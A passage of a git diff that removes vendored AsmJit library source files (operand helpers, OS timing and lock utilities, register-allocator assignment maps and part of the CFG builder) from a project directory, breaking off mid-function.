ASMJIT_DEPRECATED("Use valueAs() instead") - inline uint16_t u16() const noexcept { return valueAs(); } - - ASMJIT_DEPRECATED("Use valueAs() instead") - inline int32_t i32() const noexcept { return valueAs(); } - - ASMJIT_DEPRECATED("Use valueAs() instead") - inline uint32_t u32() const noexcept { return valueAs(); } - - ASMJIT_DEPRECATED("Use value() instead") - inline int64_t i64() const noexcept { return value(); } - - ASMJIT_DEPRECATED("Use valueAs() instead") - inline uint64_t u64() const noexcept { return valueAs(); } - - ASMJIT_DEPRECATED("Use valueAs() instead") - inline intptr_t iptr() const noexcept { return valueAs(); } - - ASMJIT_DEPRECATED("Use valueAs() instead") - inline uintptr_t uptr() const noexcept { return valueAs(); } - - ASMJIT_DEPRECATED("Use int32Lo() instead") - inline int32_t i32Lo() const noexcept { return int32Lo(); } - - ASMJIT_DEPRECATED("Use uint32Lo() instead") - inline uint32_t u32Lo() const noexcept { return uint32Lo(); } - - ASMJIT_DEPRECATED("Use int32Hi() instead") - inline int32_t i32Hi() const noexcept { return int32Hi(); } - - ASMJIT_DEPRECATED("Use uint32Hi() instead") - inline uint32_t u32Hi() const noexcept { return uint32Hi(); } -#endif // !ASMJIT_NO_DEPRECATED -}; - -//! Creates a new immediate operand. -//! -//! Using `imm(x)` is much nicer than using `Imm(x)` as this is a template -//! which can accept any integer including pointers and function pointers. -template -static constexpr Imm imm(const T& val) noexcept { return Imm(val); } - -//! \} - -// ============================================================================ -// [asmjit::Globals::none] -// ============================================================================ - -namespace Globals { - //! \ingroup asmjit_assembler - //! - //! A default-constructed operand of `Operand_::kOpNone` type. - static constexpr const Operand none; -} - -// ============================================================================ -// [asmjit::Support::ForwardOp] -// ============================================================================ - -//! \cond INTERNAL -namespace Support { - -template -struct ForwardOpImpl { - static ASMJIT_INLINE const T& forward(const T& value) noexcept { return value; } -}; - -template -struct ForwardOpImpl { - static ASMJIT_INLINE Imm forward(const T& value) noexcept { return Imm(value); } -}; - -//! Either forwards operand T or returns a new operand for T if T is a type -//! convertible to operand. At the moment this is only used to convert integers -//! to \ref Imm operands. -template -struct ForwardOp : public ForwardOpImpl::type>::value> {}; - -} - -//! \endcond - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_OPERAND_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/osutils.cpp b/src/Theodosius/asmjit/core/osutils.cpp deleted file mode 100644 index e2f34ef..0000000 --- a/src/Theodosius/asmjit/core/osutils.cpp +++ /dev/null @@ -1,106 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/osutils.h" -#include "../core/support.h" - -#if defined(_WIN32) - #include -#elif defined(__APPLE__) - #include -#else - #include - #include -#endif - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::OSUtils - GetTickCount] -// ============================================================================ - -uint32_t OSUtils::getTickCount() noexcept { -#if defined(_WIN32) - enum HiResStatus : uint32_t { - kHiResUnknown = 0, - kHiResAvailable = 1, - kHiResNotAvailable = 2 - }; - - static std::atomic _hiResStatus(kHiResUnknown); - static volatile double _hiResFreq(0); - - uint32_t status = _hiResStatus.load(); - LARGE_INTEGER now, qpf; - - if (status != kHiResNotAvailable && ::QueryPerformanceCounter(&now)) { - double freq = _hiResFreq; - if (status == kHiResUnknown) { - // Detects the availability of high resolution counter. - if (::QueryPerformanceFrequency(&qpf)) { - freq = double(qpf.QuadPart) / 1000.0; - _hiResFreq = freq; - _hiResStatus.compare_exchange_strong(status, kHiResAvailable); - status = kHiResAvailable; - } - else { - // High resolution not available. - _hiResStatus.compare_exchange_strong(status, kHiResNotAvailable); - } - } - - if (status == kHiResAvailable) - return uint32_t(uint64_t(int64_t(double(now.QuadPart) / freq)) & 0xFFFFFFFFu); - } - - // Bail to `GetTickCount()` if we cannot use high resolution. - return ::GetTickCount(); -#elif defined(__APPLE__) - // See Apple's QA1398. - static mach_timebase_info_data_t _machTime; - - uint32_t denom = _machTime.denom; - if (ASMJIT_UNLIKELY(!denom)) { - if (mach_timebase_info(&_machTime) != KERN_SUCCESS || !(denom = _machTime.denom)) - return 0; - } - - // `mach_absolute_time()` returns nanoseconds, we want milliseconds. - uint64_t t = mach_absolute_time() / 1000000u; - t = (t * _machTime.numer) / _machTime.denom; - return uint32_t(t & 0xFFFFFFFFu); -#elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0 - struct timespec ts; - if (ASMJIT_UNLIKELY(clock_gettime(CLOCK_MONOTONIC, &ts) != 0)) - return 0; - - uint64_t t = (uint64_t(ts.tv_sec ) * 1000u) + (uint64_t(ts.tv_nsec) / 1000000u); - return uint32_t(t & 0xFFFFFFFFu); -#else - #pragma message("asmjit::OSUtils::getTickCount() doesn't have implementation for the target OS.") - return 0; -#endif -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/osutils.h b/src/Theodosius/asmjit/core/osutils.h deleted file mode 100644 index a469129..0000000 --- a/src/Theodosius/asmjit/core/osutils.h +++ /dev/null @@ -1,87 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_OSUTILS_H_INCLUDED -#define ASMJIT_CORE_OSUTILS_H_INCLUDED - -#include "../core/globals.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_utilities -//! \{ - -// ============================================================================ -// [asmjit::OSUtils] -// ============================================================================ - -//! Operating system utilities. -namespace OSUtils { - //! Gets the current CPU tick count, used for benchmarking (1ms resolution). - ASMJIT_API uint32_t getTickCount() noexcept; -}; - -// ============================================================================ -// [asmjit::Lock] -// ============================================================================ - -//! \cond INTERNAL - -//! Lock. -//! -//! Lock is internal, it cannot be used outside of AsmJit, however, its internal -//! layout is exposed as it's used by some other classes, which are public. -class Lock { -public: - ASMJIT_NONCOPYABLE(Lock) - -#if defined(_WIN32) -#pragma pack(push, 8) - struct ASMJIT_MAY_ALIAS Handle { - void* DebugInfo; - long LockCount; - long RecursionCount; - void* OwningThread; - void* LockSemaphore; - unsigned long* SpinCount; - }; - Handle _handle; -#pragma pack(pop) -#elif !defined(__EMSCRIPTEN__) - typedef pthread_mutex_t Handle; - Handle _handle; -#endif - - inline Lock() noexcept; - inline ~Lock() noexcept; - - inline void lock() noexcept; - inline void unlock() noexcept; -}; -//! \endcond - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_OSUTILS_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/osutils_p.h b/src/Theodosius/asmjit/core/osutils_p.h deleted file mode 100644 index 31db308..0000000 --- a/src/Theodosius/asmjit/core/osutils_p.h +++ /dev/null @@ -1,94 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_OSUTILS_P_H_INCLUDED -#define ASMJIT_CORE_OSUTILS_P_H_INCLUDED - -#include "../core/osutils.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \cond INTERNAL -//! \addtogroup asmjit_utilities -//! \{ - -// ============================================================================ -// [asmjit::Lock] -// ============================================================================ - -#if defined(_WIN32) - -// Windows implementation. -static_assert(sizeof(Lock::Handle) == sizeof(CRITICAL_SECTION), "asmjit::Lock::Handle layout must match CRITICAL_SECTION"); -static_assert(alignof(Lock::Handle) == alignof(CRITICAL_SECTION), "asmjit::Lock::Handle alignment must match CRITICAL_SECTION"); - -inline Lock::Lock() noexcept { InitializeCriticalSection(reinterpret_cast(&_handle)); } -inline Lock::~Lock() noexcept { DeleteCriticalSection(reinterpret_cast(&_handle)); } -inline void Lock::lock() noexcept { EnterCriticalSection(reinterpret_cast(&_handle)); } -inline void Lock::unlock() noexcept { LeaveCriticalSection(reinterpret_cast(&_handle)); } - -#elif !defined(__EMSCRIPTEN__) - -// PThread implementation. -#ifdef PTHREAD_MUTEX_INITIALIZER -inline Lock::Lock() noexcept : _handle(PTHREAD_MUTEX_INITIALIZER) {} -#else -inline Lock::Lock() noexcept { pthread_mutex_init(&_handle, nullptr); } -#endif -inline Lock::~Lock() noexcept { pthread_mutex_destroy(&_handle); } -inline void Lock::lock() noexcept { pthread_mutex_lock(&_handle); } -inline void Lock::unlock() noexcept { pthread_mutex_unlock(&_handle); } - -#else - -// Dummy implementation - Emscripten or other unsupported platform. -inline Lock::Lock() noexcept {} -inline Lock::~Lock() noexcept {} -inline void Lock::lock() noexcept {} -inline void Lock::unlock() noexcept {} - -#endif - -// ============================================================================ -// [asmjit::LockGuard] -// ============================================================================ - -//! Scoped lock. -class LockGuard { -public: - ASMJIT_NONCOPYABLE(LockGuard) - - Lock& _target; - - inline LockGuard(Lock& target) noexcept - : _target(target) { _target.lock(); } - inline ~LockGuard() noexcept { _target.unlock(); } -}; - -//! \} -//! \endcond - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_OSUTILS_P_H_INCLUDED - diff --git a/src/Theodosius/asmjit/core/raassignment_p.h b/src/Theodosius/asmjit/core/raassignment_p.h deleted file mode 100644 index bcdf1a9..0000000 --- a/src/Theodosius/asmjit/core/raassignment_p.h +++ /dev/null @@ -1,408 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_RAASSIGNMENT_P_H_INCLUDED -#define ASMJIT_CORE_RAASSIGNMENT_P_H_INCLUDED - -#include "../core/api-config.h" -#ifndef ASMJIT_NO_COMPILER - -#include "../core/radefs_p.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \cond INTERNAL -//! \addtogroup asmjit_ra -//! \{ - -// ============================================================================ -// [asmjit::RAAssignment] -// ============================================================================ - -class RAAssignment { - ASMJIT_NONCOPYABLE(RAAssignment) - -public: - enum Ids : uint32_t { - kPhysNone = 0xFF, - kWorkNone = RAWorkReg::kIdNone - }; - - enum DirtyBit : uint32_t { - kClean = 0, - kDirty = 1 - }; - - struct Layout { - //! Index of architecture registers per group. - RARegIndex physIndex; - //! Count of architecture registers per group. - RARegCount physCount; - //! Count of physical registers of all groups. - uint32_t physTotal; - //! Count of work registers. - uint32_t workCount; - //! WorkRegs data (vector). - const RAWorkRegs* workRegs; - - inline void reset() noexcept { - physIndex.reset(); - physCount.reset(); - physTotal = 0; - workCount = 0; - workRegs = nullptr; - } - }; - - struct PhysToWorkMap { - //! Assigned registers (each bit represents one physical reg). - RARegMask assigned; - //! Dirty registers (spill slot out of sync or no spill slot). - RARegMask dirty; - //! PhysReg to WorkReg mapping. - uint32_t workIds[1 /* ... */]; - - static inline size_t sizeOf(size_t count) noexcept { - return sizeof(PhysToWorkMap) - sizeof(uint32_t) + count * sizeof(uint32_t); - } - - inline void reset(size_t count) noexcept { - assigned.reset(); - dirty.reset(); - - for (size_t i = 0; i < count; i++) - workIds[i] = kWorkNone; - } - - inline void copyFrom(const PhysToWorkMap* other, size_t count) noexcept { - size_t size = sizeOf(count); - memcpy(this, other, size); - } - }; - - struct WorkToPhysMap { - //! WorkReg to PhysReg mapping - uint8_t physIds[1 /* ... */]; - - static inline size_t sizeOf(size_t count) noexcept { - return size_t(count) * sizeof(uint8_t); - } - - inline void reset(size_t count) noexcept { - for (size_t i = 0; i < count; i++) - physIds[i] = kPhysNone; - } - - inline void copyFrom(const WorkToPhysMap* other, size_t count) noexcept { - size_t size = sizeOf(count); - if (ASMJIT_LIKELY(size)) - memcpy(this, other, size); - } - }; - - //! Physical registers layout. - Layout _layout; - //! WorkReg to PhysReg mapping. - WorkToPhysMap* _workToPhysMap; - //! PhysReg to WorkReg mapping and assigned/dirty bits. - PhysToWorkMap* _physToWorkMap; - //! Optimization to translate PhysRegs to WorkRegs faster. - uint32_t* _physToWorkIds[BaseReg::kGroupVirt]; - - //! \name Construction & Destruction - //! \{ - - inline RAAssignment() noexcept { - _layout.reset(); - resetMaps(); - } - - inline void initLayout(const RARegCount& physCount, const RAWorkRegs& workRegs) noexcept { - // Layout must be initialized before data. - ASMJIT_ASSERT(_physToWorkMap == nullptr); - ASMJIT_ASSERT(_workToPhysMap == nullptr); - - _layout.physIndex.buildIndexes(physCount); - _layout.physCount = physCount; - _layout.physTotal = uint32_t(_layout.physIndex[BaseReg::kGroupVirt - 1]) + - uint32_t(_layout.physCount[BaseReg::kGroupVirt - 1]) ; - _layout.workCount = workRegs.size(); - _layout.workRegs = &workRegs; - } - - inline void initMaps(PhysToWorkMap* physToWorkMap, WorkToPhysMap* workToPhysMap) noexcept { - _physToWorkMap = physToWorkMap; - _workToPhysMap = workToPhysMap; - for (uint32_t group = 0; group < BaseReg::kGroupVirt; group++) - _physToWorkIds[group] = physToWorkMap->workIds + _layout.physIndex.get(group); - } - - inline void resetMaps() noexcept { - _physToWorkMap = nullptr; - _workToPhysMap = nullptr; - for (uint32_t group = 0; group < BaseReg::kGroupVirt; group++) - _physToWorkIds[group] = nullptr; - } - - //! \} - - //! \name Accessors - //! \{ - - inline PhysToWorkMap* physToWorkMap() const noexcept { return _physToWorkMap; } - inline WorkToPhysMap* workToPhysMap() const noexcept { return _workToPhysMap; } - - inline RARegMask& assigned() noexcept { return _physToWorkMap->assigned; } - inline const RARegMask& assigned() const noexcept { return _physToWorkMap->assigned; } - inline uint32_t assigned(uint32_t group) const noexcept { return _physToWorkMap->assigned[group]; } - - inline RARegMask& dirty() noexcept { return _physToWorkMap->dirty; } - inline const RARegMask& dirty() const noexcept { return _physToWorkMap->dirty; } - inline uint32_t dirty(uint32_t group) const noexcept { return _physToWorkMap->dirty[group]; } - - inline uint32_t workToPhysId(uint32_t group, uint32_t workId) const noexcept { - DebugUtils::unused(group); - ASMJIT_ASSERT(workId != kWorkNone); - ASMJIT_ASSERT(workId < _layout.workCount); - return _workToPhysMap->physIds[workId]; - } - - inline uint32_t physToWorkId(uint32_t group, uint32_t physId) const noexcept { - ASMJIT_ASSERT(physId < Globals::kMaxPhysRegs); - return _physToWorkIds[group][physId]; - } - - inline bool isPhysAssigned(uint32_t group, uint32_t physId) const noexcept { - ASMJIT_ASSERT(physId < Globals::kMaxPhysRegs); - return Support::bitTest(_physToWorkMap->assigned[group], physId); - } - - inline bool isPhysDirty(uint32_t group, uint32_t physId) const noexcept { - ASMJIT_ASSERT(physId < Globals::kMaxPhysRegs); - return Support::bitTest(_physToWorkMap->dirty[group], physId); - } - - //! \} - - //! \name Assignment - //! \{ - - // These are low-level allocation helpers that are used to update the current - // mappings between physical and virt/work registers and also to update masks - // that represent allocated and dirty registers. These functions don't emit - // any code; they are only used to update and keep all mappings in sync. - - //! Assign [VirtReg/WorkReg] to a physical register. - ASMJIT_INLINE void assign(uint32_t group, uint32_t workId, uint32_t physId, uint32_t dirty) noexcept { - ASMJIT_ASSERT(workToPhysId(group, workId) == kPhysNone); - ASMJIT_ASSERT(physToWorkId(group, physId) == kWorkNone); - ASMJIT_ASSERT(!isPhysAssigned(group, physId)); - ASMJIT_ASSERT(!isPhysDirty(group, physId)); - - _workToPhysMap->physIds[workId] = uint8_t(physId); - _physToWorkIds[group][physId] = workId; - - uint32_t regMask = Support::bitMask(physId); - _physToWorkMap->assigned[group] |= regMask; - _physToWorkMap->dirty[group] |= regMask & Support::bitMaskFromBool(dirty); - - verify(); - } - - //! Reassign [VirtReg/WorkReg] to `dstPhysId` from `srcPhysId`. - ASMJIT_INLINE void reassign(uint32_t group, uint32_t workId, uint32_t dstPhysId, uint32_t srcPhysId) noexcept { - ASMJIT_ASSERT(dstPhysId != srcPhysId); - ASMJIT_ASSERT(workToPhysId(group, workId) == srcPhysId); - ASMJIT_ASSERT(physToWorkId(group, srcPhysId) == workId); - ASMJIT_ASSERT(isPhysAssigned(group, srcPhysId) == true); - ASMJIT_ASSERT(isPhysAssigned(group, dstPhysId) == false); - - _workToPhysMap->physIds[workId] = uint8_t(dstPhysId); - _physToWorkIds[group][srcPhysId] = kWorkNone; - _physToWorkIds[group][dstPhysId] = workId; - - uint32_t srcMask = Support::bitMask(srcPhysId); - uint32_t dstMask = Support::bitMask(dstPhysId); - - uint32_t dirty = (_physToWorkMap->dirty[group] & srcMask) != 0; - uint32_t regMask = dstMask | srcMask; - - _physToWorkMap->assigned[group] ^= regMask; - _physToWorkMap->dirty[group] ^= regMask & Support::bitMaskFromBool(dirty); - - verify(); - } - - ASMJIT_INLINE void swap(uint32_t group, uint32_t aWorkId, uint32_t aPhysId, uint32_t bWorkId, uint32_t bPhysId) noexcept { - ASMJIT_ASSERT(aPhysId != bPhysId); - ASMJIT_ASSERT(workToPhysId(group, aWorkId) == aPhysId); - ASMJIT_ASSERT(workToPhysId(group, bWorkId) == bPhysId); - ASMJIT_ASSERT(physToWorkId(group, aPhysId) == aWorkId); - ASMJIT_ASSERT(physToWorkId(group, bPhysId) == bWorkId); - ASMJIT_ASSERT(isPhysAssigned(group, aPhysId)); - ASMJIT_ASSERT(isPhysAssigned(group, bPhysId)); - - _workToPhysMap->physIds[aWorkId] = uint8_t(bPhysId); - _workToPhysMap->physIds[bWorkId] = uint8_t(aPhysId); - _physToWorkIds[group][aPhysId] = bWorkId; - _physToWorkIds[group][bPhysId] = aWorkId; - - uint32_t aMask = Support::bitMask(aPhysId); - uint32_t bMask = Support::bitMask(bPhysId); - - uint32_t flipMask = Support::bitMaskFromBool( - ((_physToWorkMap->dirty[group] & aMask) != 0) ^ - ((_physToWorkMap->dirty[group] & bMask) != 0)); - - uint32_t regMask = aMask | bMask; - _physToWorkMap->dirty[group] ^= regMask & flipMask; - - verify(); - } - - //! Unassign [VirtReg/WorkReg] from a physical register. - ASMJIT_INLINE void unassign(uint32_t group, uint32_t workId, uint32_t physId) noexcept { - ASMJIT_ASSERT(physId < Globals::kMaxPhysRegs); - ASMJIT_ASSERT(workToPhysId(group, workId) == physId); - ASMJIT_ASSERT(physToWorkId(group, physId) == workId); - ASMJIT_ASSERT(isPhysAssigned(group, physId)); - - _workToPhysMap->physIds[workId] = kPhysNone; - _physToWorkIds[group][physId] = kWorkNone; - - uint32_t regMask = Support::bitMask(physId); - _physToWorkMap->assigned[group] &= ~regMask; - _physToWorkMap->dirty[group] &= ~regMask; - - verify(); - } - - inline void makeClean(uint32_t group, uint32_t workId, uint32_t physId) noexcept { - DebugUtils::unused(workId); - uint32_t regMask = Support::bitMask(physId); - _physToWorkMap->dirty[group] &= ~regMask; - } - - inline void makeDirty(uint32_t group, uint32_t workId, uint32_t physId) noexcept { - DebugUtils::unused(workId); - uint32_t regMask = Support::bitMask(physId); - _physToWorkMap->dirty[group] |= regMask; - } - - //! \} - - //! \name Utilities - //! \{ - - inline void swap(RAAssignment& other) noexcept { - std::swap(_workToPhysMap, other._workToPhysMap); - std::swap(_physToWorkMap, other._physToWorkMap); - - for (uint32_t group = 0; group < BaseReg::kGroupVirt; group++) - std::swap(_physToWorkIds[group], other._physToWorkIds[group]); - } - - inline void copyFrom(const PhysToWorkMap* physToWorkMap, const WorkToPhysMap* workToPhysMap) noexcept { - memcpy(_physToWorkMap, physToWorkMap, PhysToWorkMap::sizeOf(_layout.physTotal)); - memcpy(_workToPhysMap, workToPhysMap, WorkToPhysMap::sizeOf(_layout.workCount)); - } - - inline void copyFrom(const RAAssignment& other) noexcept { - copyFrom(other.physToWorkMap(), other.workToPhysMap()); - } - - // Not really useful outside of debugging. - bool equals(const RAAssignment& other) const noexcept { - // Layout should always match. - if (_layout.physIndex != other._layout.physIndex || - _layout.physCount != other._layout.physCount || - _layout.physTotal != other._layout.physTotal || - _layout.workCount != other._layout.workCount || - _layout.workRegs != other._layout.workRegs) - return false; - - uint32_t physTotal = _layout.physTotal; - uint32_t workCount = _layout.workCount; - - for (uint32_t physId = 0; physId < physTotal; physId++) { - uint32_t thisWorkId = _physToWorkMap->workIds[physId]; - uint32_t otherWorkId = other._physToWorkMap->workIds[physId]; - if (thisWorkId != otherWorkId) - return false; - } - - for (uint32_t workId = 0; workId < workCount; workId++) { - uint32_t thisPhysId = _workToPhysMap->physIds[workId]; - uint32_t otherPhysId = other._workToPhysMap->physIds[workId]; - if (thisPhysId != otherPhysId) - return false; - } - - if (_physToWorkMap->assigned != other._physToWorkMap->assigned || - _physToWorkMap->dirty != other._physToWorkMap->dirty ) - return false; - - return true; - } - -#if defined(ASMJIT_BUILD_DEBUG) - ASMJIT_NOINLINE void verify() noexcept { - // Verify WorkToPhysMap. - { - for (uint32_t workId = 0; workId < _layout.workCount; workId++) { - uint32_t physId = _workToPhysMap->physIds[workId]; - if (physId != kPhysNone) { - const RAWorkReg* workReg = _layout.workRegs->at(workId); - uint32_t group = workReg->group(); - ASMJIT_ASSERT(_physToWorkIds[group][physId] == workId); - } - } - } - - // Verify PhysToWorkMap. - { - for (uint32_t group = 0; group < BaseReg::kGroupVirt; group++) { - uint32_t physCount = _layout.physCount[group]; - for (uint32_t physId = 0; physId < physCount; physId++) { - uint32_t workId = _physToWorkIds[group][physId]; - if (workId != kWorkNone) { - ASMJIT_ASSERT(_workToPhysMap->physIds[workId] == physId); - } - } - } - } - } -#else - inline void verify() noexcept {} -#endif - - //! \} -}; - -//! \} -//! \endcond - -ASMJIT_END_NAMESPACE - -#endif // !ASMJIT_NO_COMPILER -#endif // ASMJIT_CORE_RAASSIGNMENT_P_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/rabuilders_p.h b/src/Theodosius/asmjit/core/rabuilders_p.h deleted file mode 100644 index 290839f..0000000 --- a/src/Theodosius/asmjit/core/rabuilders_p.h +++ /dev/null @@ -1,636 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_RABUILDERS_P_H_INCLUDED -#define ASMJIT_CORE_RABUILDERS_P_H_INCLUDED - -#include "../core/api-config.h" -#ifndef ASMJIT_NO_COMPILER - -#include "../core/formatter.h" -#include "../core/rapass_p.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \cond INTERNAL -//! \addtogroup asmjit_ra -//! \{ - -// ============================================================================ -// [asmjit::RACFGBuilderT] -// ============================================================================ - -template -class RACFGBuilderT { -public: - BaseRAPass* _pass = nullptr; - BaseCompiler* _cc = nullptr; - RABlock* _curBlock = nullptr; - RABlock* _retBlock = nullptr; - FuncNode* _funcNode = nullptr; - RARegsStats _blockRegStats {}; - uint32_t _exitLabelId = Globals::kInvalidId; - ZoneVector _sharedAssignmentsMap {}; - - // Only used by logging, it's fine to be here to prevent more #ifdefs... - bool _hasCode = false; - RABlock* _lastLoggedBlock = nullptr; - -#ifndef ASMJIT_NO_LOGGING - Logger* _logger = nullptr; - uint32_t _logFlags = FormatOptions::kFlagPositions; - StringTmp<512> _sb; -#endif - - static constexpr uint32_t kRootIndentation = 2; - static constexpr uint32_t kCodeIndentation = 4; - - // NOTE: This is a bit hacky. There are some nodes which are processed twice - // (see `onBeforeInvoke()` and `onBeforeRet()`) as they can insert some nodes - // around them. Since we don't have any flags to mark these we just use their - // position that is [at that time] unassigned. - static constexpr uint32_t kNodePositionDidOnBefore = 0xFFFFFFFFu; - - inline RACFGBuilderT(BaseRAPass* pass) noexcept - : _pass(pass), - _cc(pass->cc()) { -#ifndef ASMJIT_NO_LOGGING - _logger = _pass->debugLogger(); - if (_logger) - _logFlags |= _logger->flags(); -#endif - } - - inline BaseCompiler* cc() const noexcept { return _cc; } - - // -------------------------------------------------------------------------- - // [Run] - // -------------------------------------------------------------------------- - - //! Called per function by an architecture-specific CFG builder. - Error run() noexcept { - log("[RAPass::BuildCFG]\n"); - ASMJIT_PROPAGATE(prepare()); - - logNode(_funcNode, kRootIndentation); - logBlock(_curBlock, kRootIndentation); - - RABlock* entryBlock = _curBlock; - BaseNode* node = _funcNode->next(); - if (ASMJIT_UNLIKELY(!node)) - return DebugUtils::errored(kErrorInvalidState); - - _curBlock->setFirst(_funcNode); - _curBlock->setLast(_funcNode); - - RAInstBuilder ib; - ZoneVector blocksWithUnknownJumps; - - for (;;) { - BaseNode* next = node->next(); - ASMJIT_ASSERT(node->position() == 0 || node->position() == kNodePositionDidOnBefore); - - if (node->isInst()) { - // Instruction | Jump | Invoke | Return - // ------------------------------------ - - // Handle `InstNode`, `InvokeNode`, and `FuncRetNode`. All of them - // share the same interface that provides operands that have read/write - // semantics. - if (ASMJIT_UNLIKELY(!_curBlock)) { - // Unreachable code has to be removed, we cannot allocate registers - // in such code as we cannot do proper liveness analysis in such case. - removeNode(node); - node = next; - continue; - } - - _hasCode = true; - - if (node->isInvoke() || node->isFuncRet()) { - if (node->position() != kNodePositionDidOnBefore) { - // Call and Reg are complicated as they may insert some surrounding - // code around them. The simplest approach is to get the previous - // node, call the `onBefore()` handlers and then check whether - // anything changed and restart if so. By restart we mean that the - // current `node` would go back to the first possible inserted node - // by `onBeforeInvoke()` or `onBeforeRet()`. - BaseNode* prev = node->prev(); - - if (node->type() == BaseNode::kNodeInvoke) - ASMJIT_PROPAGATE(static_cast(this)->onBeforeInvoke(node->as())); - else - ASMJIT_PROPAGATE(static_cast(this)->onBeforeRet(node->as())); - - if (prev != node->prev()) { - // If this was the first node in the block and something was - // inserted before it then we have to update the first block. - if (_curBlock->first() == node) - _curBlock->setFirst(prev->next()); - - node->setPosition(kNodePositionDidOnBefore); - node = prev->next(); - - // `onBeforeInvoke()` and `onBeforeRet()` can only insert instructions. - ASMJIT_ASSERT(node->isInst()); - } - - // Necessary if something was inserted after `node`, but nothing before. - next = node->next(); - } - else { - // Change the position back to its original value. - node->setPosition(0); - } - } - - InstNode* inst = node->as(); - logNode(inst, kCodeIndentation); - - uint32_t controlType = BaseInst::kControlNone; - ib.reset(); - ASMJIT_PROPAGATE(static_cast(this)->onInst(inst, controlType, ib)); - - if (node->isInvoke()) { - ASMJIT_PROPAGATE(static_cast(this)->onInvoke(inst->as(), ib)); - } - - if (node->isFuncRet()) { - ASMJIT_PROPAGATE(static_cast(this)->onRet(inst->as(), ib)); - controlType = BaseInst::kControlReturn; - } - - if (controlType == BaseInst::kControlJump) { - uint32_t fixedRegCount = 0; - for (RATiedReg& tiedReg : ib) { - RAWorkReg* workReg = _pass->workRegById(tiedReg.workId()); - if (workReg->group() == BaseReg::kGroupGp) { - uint32_t useId = tiedReg.useId(); - if (useId == BaseReg::kIdBad) { - useId = _pass->_scratchRegIndexes[fixedRegCount++]; - tiedReg.setUseId(useId); - } - _curBlock->addExitScratchGpRegs(Support::bitMask(useId)); - } - } - } - - ASMJIT_PROPAGATE(_pass->assignRAInst(inst, _curBlock, ib)); - _blockRegStats.combineWith(ib._stats); - - if (controlType != BaseInst::kControlNone) { - // Support for conditional and unconditional jumps. - if (controlType == BaseInst::kControlJump || controlType == BaseInst::kControlBranch) { - _curBlock->setLast(node); - 